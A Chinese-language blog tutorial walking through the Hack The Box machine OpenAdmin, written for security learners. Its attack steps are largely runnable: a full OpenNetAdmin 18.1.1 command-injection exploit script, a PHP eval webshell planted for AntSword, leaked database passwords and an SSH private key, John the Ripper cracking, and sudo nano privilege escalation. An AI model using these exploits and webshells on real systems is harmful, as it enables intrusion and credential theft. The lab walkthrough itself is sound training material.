[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)

在撰写这篇文章之前,我先简单分享下hack the box实验感受。hack the box是一个在线渗透平台,模拟了真实环境且难度较大,各种Web渗透工具及操作串联在一起,挺有意思的。本文详细讲解了hack the box机器配置,通过OpenAdmin题目分享管理员权限Flag获取流程,希望对您有所帮助。同时,该网站题目细节不便于透露,推荐大家亲自去尝试,本文更多的分享一些思想。整体流程如下:

  • Machines环境配置
  • Nmap端口扫描
  • Gobuster目录扫描
  • opennetadmin后台泄露
  • 蚁剑一句话木马获取Webshell
  • 敏感文件分析及获取User
  • HASH解密和权限提升
  • John获取私钥及ROOT shell提权

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

PS:本文参考了安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
基础工具:https://github.com/eastmountyxz/Security-Software-Based


声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包



一.HTB配置Machines

Hack The Box是一个在线平台,允许测试您的渗透技能和代码,并与其他类似兴趣的成员交流想法和方法。它包含一些不断更新的挑战,并且模拟真实场景,其风格更倾向于CTF挑战。也推荐读者试试Vulnhub。注册登录后有地图炮(attack maps)、在线人数及设备、Web渗透真实场景等。官方网址:https://www.hackthebox.eu/

前面我们介绍了Challenge中Web渗透题目,它类似于CTF小测试。接下来我们看看Machines类型题目,它更接近于真实环境。

靶场地址:https://www.hackthebox.eu/home/machines

在这里插入图片描述



HTB建议使用VirtualBox或VMware虚拟机,推荐的操作系统是Parrot Security Edition或Kali Linux,下面作者讲解Machines配置过程。

第一步,配置openv * n。正式开始之前,需要在本地配置Hack The Box专用的V*N才能连接到靶场。
进入左侧的Labs-Access页签,HTB已经在Getting Started详细说明了连接方法,建议使用Linux虚拟机进行渗透测试实验。

在这里插入图片描述

第二步,在kali下安装相关扩展包。

注意:由于限制,全文 “V*N” 中均用 “ * ” 代替 “ P ” 。

apt-get install network-manager-open*n
apt-get install network-manager-openv*n-gnome
apt-get install network-manager-pptp
apt-get install network-manager-pptp-gnome
apt-get install network-manager-strongswan
apt-get install network-manager-v*nc
apt-get install network-manager-v*nc-gnome

安装如下图所示:

在这里插入图片描述

在这里插入图片描述


第三步,在access页面点击here下载openv*n配置文件。
下载地址:https://www.hackthebox.eu/home/htb/access

在这里插入图片描述

将文件下载复制至Kali系统某个目录中,如下图所示。

在这里插入图片描述

Kali系统如果没有openv*n,则调用如下命令进行安装。

sudo apt-get install openv*n

在这里插入图片描述


第四步,在终端中调用命令安装已下载的配置文件,需要在root权限中运行。

openv*n eastmountyxz.ov*n

在这里插入图片描述

连接成功后Hack The Box网页会在access页面看到connected打勾,包括相关的IP地址。

在这里插入图片描述

注意,执行成功后不要关闭终端,重新打开一个终端进行后续测试。


第五步,返回网站,点开machines->Active,选择相关题目进行渗透试验。

在这里插入图片描述

同构IP地址打开网页如下图所示:

在这里插入图片描述

如果您的网站无法访问,可能是以下问题,也可能是网络问题。

在这里插入图片描述

注意,开启对应1337端口。

  • 检查防火墙的状态:sudo ufw status
  • 设置启动ufw防火墙:sudo ufw enable
  • 开放22/TCP端口:sudo ufw allow 22/tcp
  • 开放53端口(tcp/udp):sudo ufw allow 53
  • 查看防火墙状态:sudo ufw status

在这里插入图片描述



二.OpenAdmin渗透

目标地址:10.10.10.171(Linux)
难度级别:简单(对读者来说,真实的非常受用,在我心中是困难&有趣级别)
目标任务:找到靶机上的user.txt和root.txt。
目标网站:如下图所示。

在这里插入图片描述

对应题目信息:

在这里插入图片描述



当我们看到一个网站之后,首先进行相关的注入分析和信息收集,包括端口扫描、目录扫描、人工注入、万能密码、弱口令等测试。

1.Nmap端口扫描

目标网站默认服务是Apache的默认页面,在网址后面随便加了一个路径,报错信息显示是 Apache/2.4.29 (Ubuntu) Server at 10.10.10.171 Port 80。暂无相关信息,我们通过Nmap探测开放端口。

nmap 10.10.10.171

使用Nmap工具查看目标主机开放的端口号,扫出22(ssh)和80(http)两个端口

在这里插入图片描述


补充:如果目标主机上打开的端口较多时,用户可以指定扫描端口范围,如指定扫描端口号在1~3000之间的端口号,执行命令如下所示:

nmap 10.10.10.171 -p 1-3000 

在这里插入图片描述

同时,Nmap工具还可以指定一个特定端口号来扫描。比如使用Nmap工具指定扫描在192.168.41.*网段内所有开启TCP端口22的主机。执行命令如下所示:

nmap -p 22 192.168.41.*


2.目录扫描

端口都是常用的两个端口,仍然没有头绪,我们接着扫描目录,Kali中常用的工具包括:

  • dirb
  • gobuster

(1) dirb
使用small.txt字典扫描目录。您同意可以使用自己的字典库进行目录扫描,甚至可以Python撰写代码递归扫描。

dirb http://10.10.10.171/ /usr/share/dirb/wordlists/small.txt

输出结果如下图所示:

在这里插入图片描述

发现music目录。

在这里插入图片描述

浏览器中打开如下图所示:

在这里插入图片描述



(2) gobuster
Gobuster这款工具基于Go编程语言开发,具备优异的执行效率和并发性能。广大研究人员可使用该工具来对目录、文件、DNS和VHost等对象进行暴力P解和攻击。不同于其他工具,该工具支持同时多扩展名爆破,适合采用多种后台技术的网站。实施子域名扫描时,该工具支持泛域名扫描,并允许用户强制继续扫描,以应对泛域名解析带来的影响。推荐文献:

PS:这里给读者普及下gobuster的基本用法。由于作者是安全初学者,所以在该系列文章中,每当学到新的工具或好的技巧时,我都会分享出来,可能文章比较啰嗦,但初衷是帮助到初学者,还请各位大佬海涵~

Gobuster可爆破的对象包括:

  • 目标站点中的URI(目录或文件)
  • DNS子域名(支持通配符)
  • 目标Web服务器的虚拟主机名(VHost)

下面简单分享Gobuster的安装过程。

第一步,安装GO环境。
下载安装包,命令如下,也可以从github下载。

wget -c https://storage.googleapis.com/golang/go1.11.2.linux-amd64.tar.gz

在这里插入图片描述

下载好安装包后,进行解压及文件夹移动操作,如图所示。

tar zxzf go1.11.2.linux-amd64.tar.gz
mv go /usr/local

由于作者之前创建其他版本,故先删除go文件夹。

在这里插入图片描述


第二步,配置GO环境。
创建Go语言工作空间。

mkdir -p $HOME/go
mkdir -p go

在这里插入图片描述

配置Go语言环境变量,使用Vi打开.bashrc文件,并写入环境变量,保存退出。

vi ~/.bashrc

在.bashrc文章中新增变量内容如下,PATH为GO的安装路径,GOPATH为GO语言的工作空间(此目录不能和安装目录同路径)。

export PATH=$PATH:/usr/local/go/bin
export GOPATH="$HOME/go"

在这里插入图片描述

立刻生效环境变量。

source ~/.bashrc

在这里插入图片描述

最后,检验Go语言环境安装是否成功。

go version
go

如下图所示,Kali下的GO环境就安装成功了。

在这里插入图片描述


第三步,配置Gobuster工具。
当GO环境搭建好之后,我们需要安装Gobuster工具。你就可以直接使用下列命令来下载和安装Gobuster,但总报错。

go get github.com/OJ/gobuster
go get && go build
go install

在这里插入图片描述

作者尝试从Github中下载工具,但安装仍然没成功。哎,还是功力浅了,继续加油!
下载地址:https://github.com/OJ/gobuster/releases

gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.171/

用Gobuster扫描目标url,最终发现/artwork 和 /music 目录。

在这里插入图片描述



3.Opennetadmin后台泄露

通过目录扫描发现music目录,我们访问如下图所示,接着登录按钮跳转后台,用户为guest 。

在这里插入图片描述

此时进入的页面如下图所示,发现使用的是Opennetadmin后台。注意,版本信息获取及对应版本漏洞分析也是Web渗透重要的技能。

在这里插入图片描述

第一步,历史版本漏洞分析。
当你不知道这是什么系统时,可以右键源代码查看框架js代码,然后Google查询,其Opennetadmin系统的版本是v18.1.1。首先查看历史漏洞,我们以guest登录到Opennetadmin系统的后台,分析其是否有垂直提权到admin的方法或者看看有没上传。[参考Catalog 详见文献]

在这里插入图片描述

使用searchsploit找到相关的RCE漏洞 ,参考文章:https://www.exploit-db.com/exploits/47691

在这里插入图片描述

其他大佬的截图有V18.1.1版本漏洞。

在这里插入图片描述


第二步,利用RCE漏洞。
当我们发现这个版本的RCE漏洞后,我们利用代码getshell。漏洞详见文章:

将代码复制至Kali系统,即“shell.sh”。

在这里插入图片描述

代码如下:

# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
#!/bin/bash
URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

接着输入命令进行提取。

./shell.sh http://10.10.10.171/ona/
pwd
id
ls

显示结果如下图所示,服务器环境有PHP,那么就想办法上传一句话木马。同时,敏感目录需要深入分析,注意“/opt/ona/www”是当前路径,后续蚁剑会对应显示。

在这里插入图片描述

注意,如果输入“./shell.sh http://10.10.10.171/ona/”报错。这个因为该文件在Windows下编辑过,在Windows下每一行结尾是\n\r,而Linux下则是\n,所以才会有多出来的\r。使用指令“sed -i ‘s/\r$//’ xxx.sh”,该指令会把 xxx.sh中的\r 替换成空白即可。

在这里插入图片描述



三.蚁剑提取Webshell

接着我们需要使用中国蚁剑来提取Webshell。蚁剑怎么在Kali下安装和使用呢?我们接着补充。

1.中国蚁剑安装

中国蚁剑推荐大家阅读如下文章,它是非常强大的一款渗透工具。

第一步,下载中国蚁剑可以使用git命令,也可以直接从github中下载。

git clone https://github.com/antoor/antSword.git
cd antSword

在这里插入图片描述

作者从官网下载对应的Linux版本。

在这里插入图片描述


第二步,打开Kali终端找到你下载的中国蚁剑压缩包并解压。

unzip AntSword-Loader-v4.0.3-linux-x64.zip

在这里插入图片描述

解压显示如下图所示:

在这里插入图片描述


第三步,进入中国蚁剑压缩包并打开蚁剑。

在这里插入图片描述

./AntSword

蚁剑打开如下图所示:

在这里插入图片描述


第四步,创建一个空文件夹(用全英文名字)。

在这里插入图片描述

然后点击蚁剑“初始化”按钮,找到你新建的文件夹,并选择它进行安装。

在这里插入图片描述

执行结束之后,“./AntSword”会出现这个界面,说明安装成功。

在这里插入图片描述



2.一句话木马和蚁剑提权

第一步,在命令行中插入一句话木马。

echo '<?php @eval($_POST['pwd']);?>' >> /opt/ona/www/images/config.php

在这里插入图片描述


第二步,运行蚁剑,右键单击“添加数据”,输入URL地址,连接密码以及编码设置。PHP语言推荐编辑器使用chr加密。

URL:http://10.10.10.171/ona/images/config.php
密码:pwd

在这里插入图片描述

接着整个后台显示出来,如下图所示,是不是感受到了蚁剑的强大。但实验还没完,我们还需要继续深度提权。

在这里插入图片描述

当我们将“config.php”下载至本地,可以看到PHP一句话木马。我们是通过命令行插入的该文件,再利用口令和URL连接的Webshell,个人感觉蚁剑比菜刀稳定性更好、更强大。

在这里插入图片描述

此时,Webshell成功提权,但仅普通权限。

在这里插入图片描述



3.蚁剑虚拟终端和敏感文件发现

第一步,拿到shell之后枚举用户 ,这里右键选择“虚拟终端”。

在这里插入图片描述

第二步,查看用户信息。

cat /etc/passwd

看了一下系统用户,有两个比较可疑——jimmy和joanna。

在这里插入图片描述

注意,网络战的配置文件也是我们关注的重点。有些密码是可以作为字典来碰撞系统的其他用户的,fuzz的概率很大。


第三步,敏感文件分析。
通过敏感文件分析,我们发现该框架的数据库配置文件位于:

  • local/config/database_settings.inc.php

我们在 /opt/ona/www/local/config 文件夹下面找到明文密码。

在这里插入图片描述

调用“cat database_settings.inc.php”显示如下所示:

在这里插入图片描述

发现了jimmy或joanna用户的密码,那又怎么使用这个密码呢?

www-data@openadmin:/opt/ona/www/local/config$ cat database_settings.inc.php
cat database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);
?>

第四步,SSH尝试使用密码登录 jimmy 和 joanna。
用数据库的密码测试两个账号,发现密码的用户为jimmy的。

ssh jimmy@10.10.10.171
'db_passwd' => 'n1nj4W4rri0R!'

在这里插入图片描述

显示文件权限:

在这里插入图片描述


第五步,目录扫描及用户权限查找。
我们的目的是找到flag并拿到root shell,去/home目录下发现没有 flag,那可能在另一个账号中。不过拿到这个账号肯定是有用的,至于用处在哪,还没发现,再次收集一波信息。找了一波发现在/var/www/下有一个jimmy用户的文件夹。

jimmy没有拿user.txt的权限,我们需要拿下joanna用户,在/var/www/下发现了文件夹internal 的所有者为jimmy,对其文件源码进行分析。

在这里插入图片描述



四.源码分析及私钥获取

当我们发现/var/www/目录中internal文件夹的所有者为jimmy,我们查看其“index.php”和“main.php”源代码,对其进行分析。

1.获取私钥信息

第一步,分析index.php代码。
代码显示如果username和passwd都正确,则会跳转到main.php页面。main.php中会输出joanna这个用户的ssh密钥。我们拿这个hash去cmd5解密。

在这里插入图片描述

index.php源代码如下:

<?php
   ob_start();
   session_start();
?>
<?
   // error_reporting(E_ALL);
   // ini_set("display_errors", 1);
?>
<html lang = "en">
   <head>
      <title>Tutorialspoint.com</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">
   </head>
   <body>
      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>
      </div> <!-- /container -->

      <div class = "container">
         <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
            ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>
         </form>
      </div>
   </body>
</html>

第二步,MD5解密。
解密出来后为 Revealed。在线解密:https://www.somd5.com/

在这里插入图片描述


第三步,分析main.php源码。
通过源码分析,发现internal/main.php会输出joanna的ssh私钥。

在这里插入图片描述

源代码:

<?php # OpenAdmin
$output = shell_exec("cat /home/joanna/.ssh/id_rsa");
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

第四步,扫描其他用户的端口。
现在的问题就是如何Post这个url。直接在浏览器肯定不行,因为默认的路由就是 ona,肯定只能在这个SSH内部,结合这个目录名字internal。但最早我们扫端口只有80和22,接着我们再看一下jimmy用户本地启动的服务,3306不用说了,那大概率就是那个52846。

netstat -ano | grep 127.0.0.1

在这里插入图片描述

查看网络服务另一种方法,发现一个奇怪的服务端口为52846

netstat  -anutp

在这里插入图片描述


第四步,POST数据请求。
猜测其为main.php所在的服务,并且构建curl提交POST请求,从而获得私钥信息。

curl -d "username=jimmy&password=Revealed" -X POST http://127.0.0.1:52846/main.php

输出结果如下图所示:

在这里插入图片描述


2.SSH登录管理账号获取user

ssh_key到手,直接连接jimmy这个账号之前我们还需要知道这个私钥的密码,使用john爆破。

第一步,将私钥复制到Kali本地。

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----

“id_rsa”文件如下图所示:

在这里插入图片描述


第二步,利用ssh2john获取哈希,再用john爆破哈希获得密码。
先用 john 自带脚本转换一下格式,代码如下:

python /usr/share/john/ssh2john.py id_rsa > ssh

John全称叫“John the Ripper password cracker(约翰开膛手密码解密)”。
John the Ripper是一个快速的密码P解程序,目前可用于Unix、Windows、DOS和OpenVMS等。其主要目的是检测弱Unix密码,除了在各种Unix系统上最常见的几种crypt密码哈希类型之外,现在支持的还有Windows LM哈希,以及社区增强版本中的大量其他哈希和密码。

官方文档:https://github.com/magnumripper/JohnTheRipper

注意,如果报错“python: can’t open file ‘/usr/share/john/ssh2john.py’: [Errno 2] No such file or directory”,读者可以从github复制源文件即可。

在这里插入图片描述

cp ssh2john.py /usr/share/john

在这里插入图片描述

接着将保存出来的id_rsa转换成john格式,ssh2john.py是把ssh密钥改成john可以识别的格式,使用john爆破–wordlist指定字典。

python /usr/share/john/ssh2john.py id_rsa > ssh
john --wordlist=/usr/share/wordlists/rockyou.txt ssh

密码为 bloodninjas,如下图所示:

在这里插入图片描述


第三步,利用私钥ssh登录joanna账户。

ssh -i id_rsa joanna@10.10.10.171

注意,如果出现“Permissions 0644 for ‘/root/.ssh/id_rsa’ are too open”等错误,需要将权限降到0600即可,代码为“chmod 0600 id_rsa”。

在这里插入图片描述

输入命令和密码bloodninjas,登录joanna账号。

在这里插入图片描述

这样就登陆joanna,在当前目录下有个user.txt里面存着flag。

在这里插入图片描述


第四步,使用 sudo -l 可以发现,下面两个不用密码就可以以root权限执行。

sudo -l

在这里插入图片描述


第五步,可以执行/bin/nano /opt/priv这些不需要root密码,接着用nano逃逸来提权。
使用 sudo /bin/nano /opt/priv打开,然后使用ctrl+R来读取 /root/root.txt的内容。

在这里插入图片描述

在这里插入图片描述

获取最终结果如下图所示,成功!!!

在这里插入图片描述



五.总结

这篇基础性文章就此结束,希望文章对您有所帮助。非常感谢师弟他们的推荐,也觉得自己的技术好浅,要学的知识好多。如果您是安全初学者,一步一步学习,多实践多尝试,大牛都是慢慢练成的。这篇文章实验还挺有意思的,而且是多个工具及漏洞的利用,希望能在这个地方看到您的身影,也祝您体会到本次实验的乐趣。

  • OpenAdmin渗透
    Nmap端口扫描
    目录扫描
    Opennetadmin后台泄露
  • 蚁剑提取Webshell
    中国蚁剑安装
    一句话木马和蚁剑提权
    蚁剑虚拟终端和敏感文件发现
  • 源码分析及私钥获取
    获取私钥信息
    SSH登录管理账号获取user

转眼,自己已经写了63篇安全文章了,非常值得纪念,今后也希望帮到更多的读者。最后,希望博友们多看看来时的路,生活不止有编程和论文,还有太多精彩需要我们去感受,祝好~

(By:Eastmount 2020-03-27 下午5点写于贵阳 http://blog.csdn.net/eastmount/ )


参考文献:
[1] https://www.hackthebox.eu/home/machines
[2] HTB(Hack The Box)系列—入门指南 - dylan
[3] hackthebox 初学者教程 - Sunbet_行业观察
[4] hackthebox OpenAdmin - Catalog
[5] Hackthebox_OpenAdmin - Aran
[6] OpenNetAdmin 18.1.1 Remote Code Execution - CXSecurity.com - 安全客
[7] https://github.com/OJ/gobuster
[8] kali下安装go环境 - sch01ar
[9] Kali Linux下go语言环境搭建 - FLy_hps
[10 ]【渗透测试小白系列】之目录扫描、Nmap的使用及使用Metasploit通过MS17-010获取系统权限
[11] windows安装中国蚁剑 - rose never fade
[12] https://github.com/opennetadmin/ona
[13] Kali 安装中国蚁剑(antSword) - zrools
[14] https://github.com/magnumripper/JohnTheRipper
[15] https://cloud.tencent.com/developer/article/1595295

PS:感谢这些大佬的分享,受益匪浅,也推荐读者阅读这些文献。

发布了449 篇原创文章 · 获赞 6178 · 访问量 494万+

猜你喜欢

转载自blog.csdn.net/Eastmount/article/details/105118450